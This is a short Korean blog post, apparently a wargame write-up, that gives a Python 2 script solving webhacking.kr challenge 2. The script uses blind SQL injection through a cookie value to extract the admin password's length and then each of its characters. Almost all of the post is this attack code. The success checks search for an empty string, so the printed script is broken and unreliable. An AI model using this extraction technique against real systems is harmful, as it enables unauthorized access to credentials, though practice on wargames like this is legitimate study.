webhacking/sql, sql injection

webhacking.kr 2번 소스코드

qkqhxla1 2014. 8. 10. 13:45

여기에 쓰인 로그인 방법론이나 sql인젝션 관련 지식은 해당 카테고리에 다 포스팅해놨어요.


파이썬 로그인 방법론은 웹,소켓 프로그래밍 카테고리에 있습니다.

import urllib,urllib2
 
form = urllib.urlencode({'id':'??????','pw':'??????'}) 
req = urllib2.Request('http://webhacking.kr',form) 
res = urllib2.urlopen(req) 
session = res.headers.get('set-cookie') 
 
for i in range(0,30): #password길이를 구하기 위한 반복문. <
    print i
    req = urllib2.Request('http://webhacking.kr/challenge/web/web-02/') 
    req.add_header('cookie',session+'; time=1406611825 and (select length'+\
                                    '(password) from admin)='+str(i)) 
    res = urllib2.urlopen(req)
    if res.read(20000).find('') != -1: #만약 맞다는 문자열이 확인되면
        print 'len password is',i 
        lens = i 
        break
answer = ''
for i in range(1,lens+1): #password를 한글자씩 뽑아내기 위한 반복문.
    print i,': ',
    for j in range(48,128):
        req = urllib2.Request('http://webhacking.kr/challenge/web/web-02/')
        req.add_header('cookie',session+'; time=1406611825 and (select'+\
                                        ' ascii(substr(password,'+str(i)+\
                                        ',1)) from admin)='+str(j)) 
        res = urllib2.urlopen(req)
        if res.read(20000).find('') != -1: #발견됬으면
            print 'find! ',chr(j) 
            answer = answer + str(chr(j)) #answer에 추가하고
            break 
 
print 'answer is',answer 

 



'webhacking > sql, sql injection' 카테고리의 다른 글

webhacking.kr 7번 소스코드  (0) 2014.08.19
webhacking.kr 7번  (0) 2014.08.19
rubiya님의 문서  (2) 2014.08.15
webhacking.kr 2번  (0) 2014.08.11
webhacking.kr 8번  (0) 2014.08.10